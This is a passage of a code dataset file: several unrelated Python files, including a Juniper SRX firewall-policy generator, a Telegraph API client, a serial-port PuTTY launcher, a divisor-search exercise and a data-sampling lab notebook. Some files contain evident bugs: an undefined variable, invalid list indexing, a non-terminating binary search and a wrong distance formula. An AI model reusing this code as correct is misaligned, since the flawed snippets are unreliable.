'}')\n\n ret_str.append(JuniperSRX.INDENT * 3 + '}')\n\n #OPTIONS\n if self.term.option:\n raise SRXOptionError('Options are not implemented yet, please remove ' +\n 'from term %s' % self.term.name)\n\n #VERBATIM\n if self.term.verbatim:\n raise SRXVerbatimError('Verbatim is not implemented, please remove ' +\n 'the offending term %s.' % self.term.name)\n return '\\n'.join(ret_str)\n\n def _Group(self, group):\n \"\"\"If 1 item return it, else return [ item1 item2 ].\n\n Args:\n group: a list. could be a list of strings (protocols) or a list of\n tuples (ports)\n\n Returns:\n rval: a string surrounded by '[' and '];' if len(group) > 1\n or with just ';' appended if len(group) == 1\n \"\"\"\n\n def _FormattedGroup(el):\n \"\"\"Return the actual formatting of an individual element.\n\n Args:\n el: either a string (protocol) or a tuple (ports)\n\n Returns:\n string: either the lower()'ed string or the ports, hyphenated\n if they're a range, or by itself if it's not.\n \"\"\"\n if isinstance(el, str):\n return el.lower()\n elif isinstance(el, int):\n return str(el)\n # type is a tuple below here\n elif el[0] == el[1]:\n return '%d' % el[0]\n else:\n return '%d-%d' % (el[0], el[1])\n\n if len(group) > 1:\n rval = '[ ' + ' '.join([_FormattedGroup(x) for x in group]) + ' ];'\n else:\n rval = _FormattedGroup(group[0]) + ';'\n return rval\n\n\nclass JuniperSRX(aclgenerator.ACLGenerator):\n \"\"\"SRX rendering class.\n\n This class takes a policy object and renders the output into a syntax\n which is understood by SRX firewalls.\n\n Args:\n pol: policy.Policy object\n \"\"\"\n\n _PLATFORM = 'srx'\n _SUFFIX = '.srx'\n _SUPPORTED_AF = set(('inet',))\n\n _OPTIONAL_SUPPORTED_KEYWORDS = set(['expiration',\n 'logging',\n 'owner',\n 'timeout'\n ])\n INDENT = ' '\n\n def _TranslatePolicy(self, pol, exp_info):\n \"\"\"Transform a policy object into a JuniperSRX object.\n\n Args:\n pol: policy.Policy object\n\n Raises:\n UnsupportedFilterError: An unsupported filter was specified\n UnsupportedHeader: A header option exists that is not understood/usable\n SRXDuplicateTermError: Two terms were found with same name in same filter\n \"\"\"\n self.srx_policies = []\n self.addressbook = {}\n self.applications = []\n self.ports = []\n self.from_zone = ''\n self.to_zone = ''\n\n current_date = datetime.date.today()\n exp_info_date = current_date + datetime.timedelta(weeks=exp_info)\n\n for header, terms in pol.filters:\n if not self._PLATFORM in header.platforms:\n continue\n\n filter_options = header.FilterOptions('srx')\n\n if (len(filter_options) < 4 or filter_options[0] != 'from-zone' or\n filter_options[2] != 'to-zone'):\n raise UnsupportedFilterError(\n 'SRX filter arguments must specify from-zone and to-zone.')\n self.from_zone = filter_options[1]\n self.to_zone = filter_options[3]\n\n if len(filter_options) > 4:\n filter_type = filter_options[4]\n else:\n filter_type = 'inet'\n if filter_type not in self._SUPPORTED_AF:\n raise UnsupportedHeader(\n 'SRX Generator currently does not support %s as a header option' %\n (filter_type))\n\n term_dup_check = set()\n new_terms = []\n for term in terms:\n if term.name in term_dup_check:\n raise SRXDuplicateTermError('You have a duplicate term: %s'\n % term.name)\n term_dup_check.add(term.name)\n\n if term.expiration and term.expiration <= current_date:\n if term.expiration <= exp_info_date:\n logging.info('INFO: Term %s in policy %s expires '\n 'in less than two weeks.', term.name, filter_name)\n if term.expiration <= current_date:\n logging.warn('WARNING: Term %s in policy %s is expired and '\n 'will not be rendered.', term.name, filter_name)\n continue\n\n for i in term.source_address_exclude:\n term.source_address = nacaddr.RemoveAddressFromList(\n term.source_address, i)\n for i in term.destination_address_exclude:\n term.destination_address = nacaddr.RemoveAddressFromList(\n term.destination_address, i)\n\n for addr in term.source_address:\n self._BuildAddressBook(self.from_zone, addr)\n for addr in term.destination_address:\n self._BuildAddressBook(self.to_zone, addr)\n\n new_term = Term(term, filter_type, filter_options)\n new_terms.append(new_term)\n tmp_icmptype = new_term.NormalizeIcmpTypes(\n term.icmp_type, term.protocol, filter_type)\n\n # NormalizeIcmpTypes returns [''] for empty, convert to [] for eval\n normalized_icmptype = tmp_icmptype if tmp_icmptype != [''] else []\n # rewrites the protocol icmpv6 to icmp6\n if 'icmpv6' in term.protocol:\n protocol = list(term.protocol)\n protocol[protocol.index('icmpv6')] = 'icmp6'\n else:\n protocol = term.protocol\n self.applications.append({'sport': self._BuildPort(term.source_port),\n 'dport': self._BuildPort(\n term.destination_port),\n 'name': term.name,\n 'protocol': protocol,\n 'icmp-type': normalized_icmptype,\n 'timeout': term.timeout})\n self.srx_policies.append((header, new_terms, filter_options))\n\n def _BuildAddressBook(self, zone, address):\n \"\"\"Create the address book configuration entries.\n\n Args:\n zone: the zone these objects will reside in\n address: a naming library address object\n \"\"\"\n if zone not in self.addressbook:\n self.addressbook[zone] = {}\n if address.parent_token not in self.addressbook[zone]:\n self.addressbook[zone][address.parent_token] = []\n name = address.parent_token\n for ip in self.addressbook[zone][name]:\n if str(address) == str(ip[0]):\n return\n counter = len(self.addressbook[zone][address.parent_token])\n name = '%s_%s' % (name, str(counter))\n self.addressbook[zone][address.parent_token].append((address, name))\n\n def _BuildPort(self, ports):\n \"\"\"Transform specified ports into list and ranges.\n\n Args:\n ports: a policy terms list of ports\n\n Returns:\n port_list: list of ports and port ranges\n \"\"\"\n port_list = []\n for i in ports:\n if i[0] == i[1]:\n port_list.append(str(i[0]))\n else:\n port_list.append('%s-%s' % (str(i[0]), str(i[1])))\n return port_list\n\n def __str__(self):\n \"\"\"Render the output of the JuniperSRX policy into config.\"\"\"\n target = []\n target.append('security {')\n target.append(self.INDENT + 'zones {')\n for zone in self.addressbook:\n target.append(self.INDENT * 2 + 'security-zone ' + zone + ' {')\n target.append(self.INDENT * 3 + 'address-book {')\n for group in self.addressbook[zone]:\n for address, name in self.addressbook[zone][group]:\n target.append(self.INDENT * 4 + 'address ' + name + ' ' +\n str(address) + ';')\n for group in self.addressbook[zone]:\n target.append(self.INDENT * 4 + 'address-set ' + group + ' {')\n for address, name in self.addressbook[zone][group]:\n target.append(self.INDENT * 5 + 'address ' + name + ';')\n\n target.append(self.INDENT * 4 + '}')\n target.append(self.INDENT * 3 + '}')\n target.append(self.INDENT * 2 + '}')\n target.append(self.INDENT + '}')\n\n target.append(self.INDENT + 'policies {')\n for (_, terms, filter_options) in self.srx_policies:\n target.append(self.INDENT * 2 + 'from-zone ' + filter_options[1] +\n ' to-zone ' + filter_options[3] + ' {')\n for term in terms:\n target.append(str(term))\n target.append(self.INDENT * 2 +'}')\n target.append(self.INDENT + '}')\n target.append('}')\n\n #APPLICATIONS\n target.append('applications {')\n done_apps = []\n for app in self.applications:\n app_list = []\n if app in done_apps:\n continue\n if app['protocol'] or app['sport'] or app['dport'] or app['icmp-type']:\n if app['icmp-type']:\n target.append(self.INDENT + 'application ' + app['name'] + '-app {')\n if app['timeout']:\n timeout = app['timeout']\n else:\n timeout = 60\n for i, code in enumerate(app['icmp-type']):\n target.append(\n self.INDENT * 2 +\n 'term t%d protocol icmp icmp-type %s inactivity-timeout %d;' %\n (i+1, str(code), int(timeout)))\n else:\n i = 1\n target.append(self.INDENT +\n 'application-set ' + app['name'] + '-app {')\n for proto in (app['protocol'] or ['']):\n for sport in (app['sport'] or ['']):\n for dport in (app['dport'] or ['']):\n chunks = []\n if proto: chunks.append(' protocol %s' % proto)\n if sport: chunks.append(' source-port %s' % sport)\n if dport: chunks.append(' destination-port %s' % dport)\n if app['timeout']:\n chunks.append(' inactivity-timeout %d' % int(app['timeout']))\n if chunks:\n target.append(self.INDENT * 2 +\n 'application ' + app['name'] + '-app%d;' % i)\n app_list.append(self.INDENT + 'application ' + app['name'] +\n '-app%d {' % i)\n app_list.append(self.INDENT * 2 + 'term t%d' % i +\n ''.join(chunks) + ';')\n app_list.append(self.INDENT + '}')\n i += 1\n target.append(self.INDENT + '}')\n done_apps.append(app)\n if app_list:\n target.extend(app_list)\n\n target.append('}')\n return '\\n'.join(target)\n","sub_path":"margrave-examples-internal/capirca-margrave/capirca-r242-MODIFIED/lib/junipersrx.py","file_name":"junipersrx.py","file_ext":"py","file_size_in_byte":14881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"242248786","text":"#!/usr/bin/python3\n\nclass ListNode:\n\tvalue = None\n\tnextNode = None\n\n\tdef __init__(self, value):\n\t\tself.value = value\n\n\ndef listInsert(node, value):\n\ttmp = node\n\twhile tmp.nextNode != None:\n\t\ttmp = tmp.nextNode\n\ttmp.nextNode = ListNode(value)\n\treturn node\n\ndef listPrint(node):\n\twhile node:\n\t\tprint(node.value,' ', end='')\n\t\tnode = node.nextNode\n\tprint()\n\ndef listReverse(pnode, nnode = \"null\"):\n\tif not pnode or not nnode:\n\t\treturn pnode\n\tif nnode == \"null\":\n\t\tnnode = pnode.nextNode\n\t\tpnode.nextNode = None \n\ttmp = nnode.nextNode\n\tnnode.nextNode = pnode\n\treturn listReverse(nnode, tmp)\n\n\nnode = ListNode(10)\nlistInsert(node, 20)\nlistInsert(node, 30)\nlistInsert(node, 40)\nlistInsert(node, 50)\n\nlistPrint(node)\n\nnode = listReverse(node)\nlistPrint(node)\n\n","sub_path":"algorithms/02-linkedlist.py","file_name":"02-linkedlist.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"102999335","text":"import requests\nfrom .telegraph_exceptions import exceptions_raise\nfrom .telegraph_types import Account, Page, PageList, PageViews, NodeElement, Node\nimport os\nimport datetime\nfrom uuid import uuid4\nimport mimetypes\nimport re\n\n__version__ = 0.3\n\n\ndef raw_fields_generator(args):\n return '[{}]'.format(','.join(['\"{0}\"'.format(arg) for arg in args]))\n\n\ndef field_generator(**args):\n return raw_fields_generator([key for key, value in args.items() if value is True])\n\n\nclass Telegraph:\n def __init__(self, session, token=''):\n self.session = session\n self.base_url = 'https://api.telegra.ph/'\n self.token = token\n\n @property\n def auth_url(self):\n r = self.get_account_info(auth_url=True)\n r['valid_to'] = datetime.datetime.now() + datetime.timedelta(minutes=5)\n return r\n\n @staticmethod\n def save_data(token, session_name):\n if not session_name:\n return\n with open(\"{}.token\".format(session_name), 'w', encoding='utf-8') as tk:\n tk.write(token)\n\n def get_data(self, session_name):\n if not session_name:\n return self.token\n if os.path.isfile('{}.token'.format(session_name)):\n with open(\"{}.token\".format(session_name), 'r', encoding='utf-8') as tk:\n return tk.read()\n else:\n self.save_data(self.token, self.session)\n return self.token\n\n def request(self, method, post_fields):\n for i, x in post_fields.copy().items():\n if x is None:\n del post_fields[i]\n j = requests.post(self.base_url + method, post_fields).json()\n if not j['ok']:\n raise exceptions_raise[j['error']]\n return j[\"result\"]\n\n def start(self, short_name=None, author_name=None, author_url=None):\n if self.session:\n self.token = self.get_data(self.session)\n if not self.token:\n if short_name or author_name or author_url:\n j = self.create_account(short_name, author_name, author_url)\n self.token = j['access_token']\n self.save_data(self.token, self.session)\n else:\n j = self.create_account(input('short_name: '), input('author_name: '), input('author_url: '))\n self.token = j['access_token']\n self.save_data(self.token, self.session)\n\n else:\n if short_name or author_name or author_url:\n j = self.create_account(short_name, author_name, author_url)\n self.token = j['access_token']\n else:\n j = self.create_account(input('short_name: '), input('author_name: '), input('author_url: '))\n self.token = j['access_token']\n\n def create_account(self, short_name, author_name=None, author_url=None):\n params = {\n 'short_name': short_name,\n 'author_name': author_name,\n 'author_url': author_url\n }\n return Account(**self.request('createAccount', params))\n\n def edit_account_info(self, short_name=None, author_name=None, author_url=None):\n access_token = self.token\n params = {\n 'access_token': access_token,\n 'short_name': short_name,\n 'author_name': author_name,\n 'author_url': author_url\n }\n return Account(**self.request('editAccountInfo', params))\n\n def get_account_info_raw(self, fields=()):\n access_token = self.token\n params = {\n 'access_token': access_token,\n 'fields': raw_fields_generator(fields),\n }\n return Account(**self.request('getAccountInfo', params))\n\n def get_account_info(self, short_name=None, author_name=None, author_url=None, auth_url=None, page_count=None):\n access_token = self.token\n fields = field_generator(**locals())\n params = {\n 'access_token': access_token,\n 'fields': fields,\n }\n return Account(**self.request('getAccountInfo', params))\n\n def revoke_access_token(self):\n access_token = self.token\n params = {\n 'access_token': access_token,\n }\n j = self.request('revokeAccessToken', params)\n self.token = j['access_token']\n if self.session:\n self.save_data(self.token, self.session)\n return j\n\n def create_page(self, title, content, author_name='', author_url='', return_content=False):\n access_token = self.token\n userdata = self.get_account_info_raw(['author_name', 'author_url'])\n if not author_name:\n author_name = userdata.author_name\n if not author_url:\n author_url = userdata.author_url\n\n params = {\n 'access_token': access_token,\n 'title': title,\n 'author_name': author_name,\n 'author_url': author_url,\n 'content': str(content),\n 'return_content': return_content,\n\n }\n return Page(**self.request('createPage', params))\n\n def edit_page(self, path, title=None, author_name=None, author_url=None, content=None, return_content=False,\n access_token=''):\n if not access_token:\n access_token = self.token\n params = {\n 'access_token': access_token,\n 'path': path,\n 'title': title,\n 'content': str(content),\n 'author_name': author_name,\n 'author_url': author_url,\n 'return_content': return_content,\n\n }\n return Page(**self.request('editPage', params))\n\n def get_page(self, path, return_content=False):\n params = {\n 'path': re.sub('(http[s]?://)?telegra.ph/', '', path, flags=re.I),\n 'return_content': return_content,\n\n }\n return Page(**self.request('getPage', params))\n\n def get_page_list(self, offset=0, limit=50):\n access_token = self.token\n params = {\n 'access_token': access_token,\n 'offset': offset,\n 'limit': limit,\n\n }\n return PageList(**self.request('getPageList', params))\n\n def get_views(self, path, year=None, month=None, day=None, hour=None):\n params = {\n 'path': path,\n 'year': year,\n 'month': month,\n 'day': day,\n 'hour': hour\n\n }\n return PageViews(**self.request('getViews', params))\n\n @staticmethod\n def upload_image(image):\n if isinstance(image, str):\n with open(image, 'rb') as image_data:\n files = {'file': (str(uuid4()), image_data.read(), mimetypes.guess_type(image)[0])}\n else:\n raise ValueError(\"Invalid image type\")\n r = requests.post('https://telegra.ph/upload/', files=files)\n if not type(r.json()) is not list:\n return r.json()[0]['src']\n else:\n raise exceptions_raise[r.json()['error']]\n","sub_path":"PyTelegraph/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"564003015","text":"def smallestDivisor(nums, threshold):\n def ok(n):\n ans = 0\n for num in nums:\n now = num // n\n if num % n != 0:\n now += 1\n ans += now\n return ans <= threshold\n l = 1; r = max(nums)\n while ( l < r ):\n mid = (l+r) // 2\n if ok(mid):\n r = mid\n else:\n l = mid\n if (r - l ==1):\n if ok(l): return l\n return r\n return l\nimport re\na=input()\nb=re.split(r'[\\s\\[\\]\\,]+',a)\nc=[]\nfor x in b:\n if x.isdigit():\n c.append(x)\nc=[int(x) for x in c]\nprint(smallestDivisor(c[0,-1],c[-1]))","sub_path":"Code/CodeRecords/2578/60866/291055.py","file_name":"291055.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"517130726","text":"from os import environ\nfrom os.path import exists, join\n\nfrom HOMELY import jerjerrod_addline, mypips, wantfull, wantjerjerrod\nfrom homely.files import symlink\nfrom homely.general import mkdir, section\nfrom homely.system import execute\nfrom homely.ui import yesno\n\n\n@section\ndef homely_dev():\n if not wantfull():\n return\n\n if not yesno(\"create_homely_venv\",\n \"Create ~/playground-homely virtualenv?\", False):\n return\n\n venv = environ['HOME'] + '/playground-homely'\n\n # create container dir\n mkdir(venv)\n checkout = join(venv, 'homely.git')\n\n # create the virtualenv if it doesn't already exist\n if not exists(join(venv, 'bin')):\n execute(['virtualenv', '--python=python3', venv], stdout=\"TTY\")\n\n # check out homely.git repo if it isn't there yet\n if not exists(checkout):\n execute(['git', 'clone', 'git@github.com:phodge/homely.git', checkout],\n stdout=\"TTY\")\n\n # create a python2 virtualenv as well\n py2venv = join(venv, 'py2venv')\n if not exists(join(py2venv, 'bin')):\n execute(['virtualenv', '--python=python2.7', py2venv], stdout=\"TTY\")\n # create a symlink to the git repo\n symlink(checkout, join(py2venv, 'homely.git'))\n\n # need to install editable version of homely.git in both virtualenvs\n venv_pip = venv + '/bin/pip'\n py2venv_pip = py2venv + '/bin/pip'\n\n for pip in [venv_pip, py2venv_pip]:\n execute([pip, 'install', '--editable', checkout])\n mypips(pip)\n execute([pip, 'install', 'pytest'])\n\n # install build/packaging tools just in the python3 version\n execute([venv_pip, 'install', 'Sphinx', 'sphinx-autobuild', 'twine'])\n\n if wantjerjerrod():\n # register the playground with jerjerrod\n jerjerrod_addline('WORKSPACE', venv, ignore=[\"py2venv\"])\n\n execute([venv_pip, 'install', 'Sphinx', 'sphinx-autobuild', 'pytest', 'twine'])\n\n # we may want to install pandoc to make the slides, but\n if yesno('homley_want_pandoc', 'Install pandoc to create slides?', recommended=True):\n from homely.install import installpkg\n installpkg('pandoc')\n","sub_path":"homely_dev/HOMELY.py","file_name":"HOMELY.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"174252229","text":"#######################################################\r\n################### Author ElessarGR ##################\r\n#######################################################\r\n##################### Version 2.0 ##################### \r\n#######################################################\r\n\r\n# if you want to export it to an exe file you need to run the below command\r\n# pyinstaller -F k9-serial.py --hidden-import=info.devicemanager --hidden-import=pkg_resources\r\n\r\nimport subprocess # Used to run Putty.\r\nimport os # To check that the path of the files defined in the config file exist\r\nimport sys # Used for the menu\r\nimport time # Used for the menu delay\r\nfrom infi.devicemanager import DeviceManager # Used for the retrievement of Device manager information\r\n\r\ndm = DeviceManager()\r\ndm.root.rescan()\r\ndevs = dm.all_devices # Get all the devices to a list called devs\r\n\r\nspeed = \"0\"\r\n\r\nFileName = os.path.basename(__file__).split('.')[0]\r\n\r\nConfig_file = 'C:\\\\Python\\\\'+FileName+'\\\\Config.txt' # Load config.txt to our script\r\n\r\n# Checks if the Config file exist in the expected folder. If not, the program is terminated\r\nif not os.path.exists(Config_file):\r\n print('Configuration file : ' + Config_file + ' not found')\r\n input('Press enter to exit the program and check the location of the Config file')\r\n sys.exit()\r\n\r\n# copy all the paremetesd value of the Config file in a dictionary\r\n\r\narray_dict = dict([('param', 'value')])\r\nwith open(Config_file, 'r') as file:\r\n for line in file:\r\n line2 = line.strip('\\n')\r\n if '=' in line2:\r\n parameter = line2.split('=')[0].strip()\r\n value = str(line2.split('=')[1]).strip()\r\n array_dict[parameter] = value\r\nfile.close()\r\n\r\n# Extract the info from the dictionary and copy to a variable to be used in the script\r\n\r\nfile_puttypath = array_dict['file_puttypath']\r\nfile_br1 = array_dict['file_br1']\r\nfile_br1_desc = array_dict['file_br1_desc']\r\nfile_br2 = array_dict['file_br2']\r\nfile_br2_desc = array_dict['file_br2_desc']\r\nfile_br3 = array_dict['file_br3']\r\nfile_br3_desc = array_dict['file_br3_desc']\r\nfile_br4 = array_dict['file_br4']\r\nfile_br4_desc = array_dict['file_br4_desc']\r\n\r\n# Check if the user have configured the path of the putty.exe file\r\n\r\nif not os.path.exists(file_puttypath):\r\n print('Configuration file : ' + file_puttypath + ' not found')\r\n input('Press enter to exit the program and check the location of the putty.exe file')\r\n sys.exit()\r\n\r\n# Search on the device manager list if we have a match for USB Serial\r\n\r\nfor d in devs:\r\n if \"USB Serial Port\" in d.description : # USB Serial Port have been found and the if statement is true\r\n str = d.__str__()\r\n COMport = str.split('(', 1)[1].split(')')[0] # Splitting the COM information from the string which is between the two (COMx)\r\n i=1\r\n break\r\n else: # If statement is false\r\n i=0\r\n\r\n# Create a menu for the user to choose bautrate. The information is retrieved from the Config.txt file\r\n\r\ndef menu():\r\n global speed\r\n print(\"************ Select bautrate MENU **************\")\r\n choice = input(\"\"\"\r\n 1: \"\"\" + file_br1 + \"\"\" \"\"\" + file_br1_desc + \"\"\"\r\n 2: \"\"\" + file_br2 + \"\"\" \"\"\" + file_br2_desc + \"\"\"\r\n 3: \"\"\" + file_br3 + \"\"\" \"\"\" + file_br3_desc + \"\"\"\r\n 4: \"\"\" + file_br4 + \"\"\" \"\"\" + file_br4_desc + \"\"\"\r\n 5: Quit\r\n\r\n Please enter your choice and press enter: \"\"\")\r\n if choice == \"1\":\r\n command = file_puttypath + ' -serial ' + COMport + ' -sercfg ' + file_br1 + ',8,n,1,N'\r\n # print (command)\r\n subprocess.Popen(command) # Execute Putty with the parameters of the COM port we found.\r\n elif choice == \"2\":\r\n command = file_puttypath + ' -serial ' + COMport + ' -sercfg ' + file_br2 + ',8,n,1,N'\r\n # print (command)\r\n subprocess.Popen(command) # Execute Putty with the parameters of the COM port we found.\r\n elif choice == \"3\":\r\n command = file_puttypath + ' -serial ' + COMport + ' -sercfg ' + file_br3 + ',8,n,1,N'\r\n # print (command)\r\n subprocess.Popen(command) # Execute Putty with the parameters of the COM port we found.\r\n elif choice == \"4\":\r\n command = file_puttypath + ' -serial ' + COMport + ' -sercfg ' + file_br4 + ',8,n,1,N'\r\n # print (command)\r\n subprocess.Popen(command) # Execute Putty with the parameters of the COM port we found.\r\n elif choice == \"5\":\r\n sys.exit\r\n else:\r\n print(\"You must only select either 1,2,3,4 or 5\")\r\n print(\"Please try again\")\r\n time.sleep(3)\r\n print()\r\n menu()\r\n\r\n# Summarise the code and run if statements for each scenario (USB serial found, Not found, Error)\r\n\r\nif i == 1:\r\n print(\"#########################\\n\"\r\n \"####### K9-Serial #######\\n\"\r\n \"#########################\\n\")\r\n print(\"Captain! \",d.description, \"has been located on :\", COMport)\r\n menu()\r\nelif i ==0:\r\n print(\"#########################\\n\"\r\n \"####### K9-Serial #######\\n\"\r\n \"#########################\\n\")\r\n print (\"USB Serial Not found \\nPlease check physical connection.\")\r\n print ()\r\n input(\"Press enter to exit\")\r\nelse:\r\n print(\"#########################\\n\"\r\n \"####### K9-Serial #######\\n\"\r\n \"#########################\\n\")\r\n print(\"Error\\n Dont know what went wrong. Good Luck :)\")\r\n input(\"Press enter to exit\")","sub_path":"k9-serial.py","file_name":"k9-serial.py","file_ext":"py","file_size_in_byte":5455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"404907261","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Lab 8 - Big Data Visualization\n# \n# ## 1. Handling Volume of Big Data\n# In this section, you will explore how to handling the volume of big data by sampling. First we will load the synthetic 2-D data poitns by scikit-learn.\n# \n# Note: we need to install the following **imbalanced-learn** package:\n# ```python\n# conda install imbalanced-learn\n# ```\n# or\n# ```python\n# pip install imbalanced-learn\n# ```\n\n# In[41]:\n\n\nfrom __future__ import print_function\nfrom __future__ import division\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nfrom sklearn import preprocessing\nfrom sklearn.datasets import make_blobs\nfrom imblearn.datasets import make_imbalance\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# Now you will visualize the dataset. Complete the code marked with TODO\n\n# In[42]:\n\n\n\"\"\"\nGenerate random 2D data points\n\"\"\"\ndef gen_data(num_samples,num_blobs=3,random_state=42):\n X, y = make_blobs(n_samples=num_samples, random_state=random_state, centers=num_blobs, cluster_std=5.0)\n return X,y\n\nrseed = 42\nnum_samples = 300\nnum_blobs = 3\nX,y = gen_data(num_samples, num_blobs, rseed)\nratio = {0: 10, 1: 10, 2: 100}\nX,y = make_imbalance(X, y, ratio=ratio)\n\n# TODO visualize the dataset\nplt.scatter(X[:,0], X[:,1], c=y)\n\n\n# ### 1.1. Simple Random Sampling (SRS)\n# Now we implement the first sampling method, called Simple Random Smapling (SRS). In this method, there is an equal probability of selecting any particular item. Complete the code marked with TODO.\n\n# In[43]:\n\n\ndef srs(points, k):\n n = len(points)\n for i in range(0, n-2):\n j = np.random.randint(i, n)\n points[i] = points[j]\n return points[0:k]\n\nnp.random.seed(30)\nsample = srs(X, 20)\n# Visualize the sample\nplt.scatter(X[:, 0], X[:, 1], c=y, s=5)\nplt.scatter(sample[:, 0], sample[:, 1], c='red')\n\n\n# ### 1.2. Stratified Sampling\n# Now we will explore another sampling method, called stratified sampling. This method comprises of two steps:\n# \n# 1. Split the data into several partitions. We will use the label information for this purpose\n# 2. Draw random samples from each partition. For simplicity, we make the stratified random samples of the same size.\n# \n# Complete the code marked with TODO\n\n# In[44]:\n\n\nfrom functools import reduce\nfrom sklearn.model_selection import train_test_split\n\ndef stratified_sampling(points, labels, clusters=3, k=10):\n cluster_samples = [srs(points[labels == label], k // clusters).tolist() \n for label in range(clusters - 1)] + [srs(points[labels == clusters - 1], \n k - (clusters - 1) * (k // clusters)).tolist()]\n sample = reduce((lambda x,y: x+y), cluster_samples)\n return np.array(sample)\n\nsample = stratified_sampling(X, y, num_blobs, 20)\nplt.scatter(X[:, 0], X[:, 1], c=y, s=5)\nplt.scatter(sample[:, 0], sample[:, 1], c='red')\n\n\n# Now we want to improve stratified sampling such that:\n# + The stratified random samples are not of the same size but proportion to the size of clusters\n# + Each cluster has at least one sampling points\n# \n# Complete the code marked with TODO \n\n# In[45]:\n\n\ndef hybrid_sampling(points, cluster_labels, clusters=3, k=10): \n fixed_points = reduce((lambda x,y: x+y), [srs(points[cluster_labels == label], 1).tolist() for label in range(clusters)])\n remaining = [i for i in points.tolist() if i not in fixed_points]\n sample = fixed_points + srs(remaining, k-3).tolist()\n return np.array(sample)\n\nsample = stratified_sampling(X, y, num_blobs, 20)\nplt.scatter(X[:, 0], X[:, 1], c=y, s=5)\nplt.scatter(sample[:, 0], sample[:, 1], c='red')\n\n\n# In[5]:\n\n\n# BACKUP code \n# clusters = KMeans(n_clusters=num_blobs).fit(X)\n# _ = plt.scatter(X[:, 0], X[:, 1], c=clusters.labels_, s=5)\n# _ = plt.scatter(sample[:, 0], sample[:, 1], c='red')\n\n\n# In[ ]:\n\n\n# BACKUP code\n# import sklearn.cluster\n# def kmean(points, n_clusters=3):\n# # TODO implement this method\n# return sklearn.cluster.KMeans(n_clusters=n_clusters).fit(points)\n\n# clusters = kmean(X, num_blobs).labels_\n# _ = plt.scatter(X[:, 0], X[:, 1], c=clusters, s=5)\n\n\n# ## 2. Handling the Variety of Big Data\n# In this section, we are going to implement a diversification algorithm, namely Motley, in the lecture. We reuse the dataset in the previous section. First, we are going to define the relevance of each data item by using the data label in ground truth and generating a random number around the mean equal to label value. Note that the color bar indicates the relevance degree.\n\n# In[46]:\n\n\ndef relevance(X, y, random_seed=42):\n rel = [0] * len(X)\n for i in range(len(X)):\n rel[i] = np.random.normal(y[i],0.2)\n return rel\n\nrelev = relevance(X,y)\nplt.scatter(X[:, 0], X[:, 1], c=relev, cmap='viridis_r')\nplt.colorbar()\n\n\n# ### 2.1. Similarity function\n# We will implement the dissimilarity function by using Euclidean distance. Complete the code marked with TODO.\n\n# In[47]:\n\n\nfrom math import sqrt\nfrom scipy.spatial import distance\ndef distance_matrix(points):\n n = len(points)\n \n M = np.zeros((n, n))\n for i in range(n):\n for j in range(n):\n M[i,j] = sqrt((points[i,1] - points[j,0])**2)\n return M\nM = distance_matrix(X)\nM\n\n\n# ### 2.2. Motley algorithm\n# The Motley algorithm constructs the output by incrementally adding items in the decreasing order of relevance and maximizing the minimum dissimilarity.\n# + Traverse items in the decreasing order of relevance\n# + Add an item to output if the dissimilarity with other selected items is larger than a threshold $\\Delta$\n# \n# Complete the code marked with TODO \n\n# In[48]:\n\n\nimport random\ndef motley(points, relev, M, delta, k = 10):\n points_index = range(len(points))\n relevance = [x for _,x in sorted(zip(relev, points_index), reverse=True)]\n ls = []\n for i in relevance:\n min_dist = random.randint(1000000, 2000000)\n for j in ls:\n if M[i, j] < min_dist:\n min_dist = M[i, j]\n if (min_dist > delta):\n ls += [i]\n return points[ls]\n\ndelta = 0.2 * np.amax(M)\nretain = motley(X, relev, M, delta)\n\nplt.scatter(X[:, 0], X[:, 1], c=relev, s=5, cmap='viridis_r')\nplt.colorbar()\nplt.scatter(sample[:, 0], sample[:, 1], c='red')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"lab8/lab8.py","file_name":"lab8.py","file_ext":"py","file_size_in_byte":6288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"445963176","text":"from tensorflow.keras.preprocessing.image import img_to_array,load_img,ImageDataGenerator\r\nimport numpy as np\r\nfrom imutils import paths\r\nimport os\r\n\r\naug = ImageDataGenerator(rotation_range=30, width_shift_range=0.1,\r\n height_shift_range=0.1, shear_range=0.2, zoom_range=0.2,\r\n horizontal_flip=True, fill_mode=\"nearest\")\r\n\r\ndataset_path = os.path.join('..','Dataset')\r\ndataset_aug_advanced_path = os.path.join(\"..\",\"Dataset_aug_advanced\")\r\ndataset_aug_path = os.path.join(\"..\",'Dataset_aug')\r\nif not os.path.exists(dataset_aug_path):\r\n os.mkdir(dataset_aug_path)\r\nelse:\r\n imagepaths_aug = paths.list_images(dataset_aug_path)\r\n for imagepath in imagepaths_aug:\r\n label = imagepath.split(os.path.sep)[-2]\r\n if label == \"Guest\":\r\n continue\r\n else:\r\n os.remove(imagepath)\r\n\r\n\r\n\r\nimagepaths = paths.list_images(dataset_path)\r\nimagepaths_aug_advanced = paths.list_images(dataset_aug_advanced_path)\r\nsuper_total = 0\r\nfor i,imagep in enumerate(imagepaths):\r\n label = imagep.split(os.path.sep)[-2]\r\n if label == 'Guest':\r\n continue\r\n image = load_img(imagep)\r\n image = img_to_array(image)\r\n image = np.expand_dims(image,axis = 0)\r\n save_to_dir = os.path.join(dataset_aug_path,label)\r\n if not os.path.exists(save_to_dir):\r\n os.mkdir(save_to_dir)\r\n imageGen = aug.flow(image, batch_size=1, save_to_dir=save_to_dir,save_prefix=label, save_format=\"jpg\")\r\n total = 0\r\n for imageg in imageGen:\r\n super_total += 1\r\n total += 1\r\n if super_total % 100 == 0 :\r\n print('Processed {} 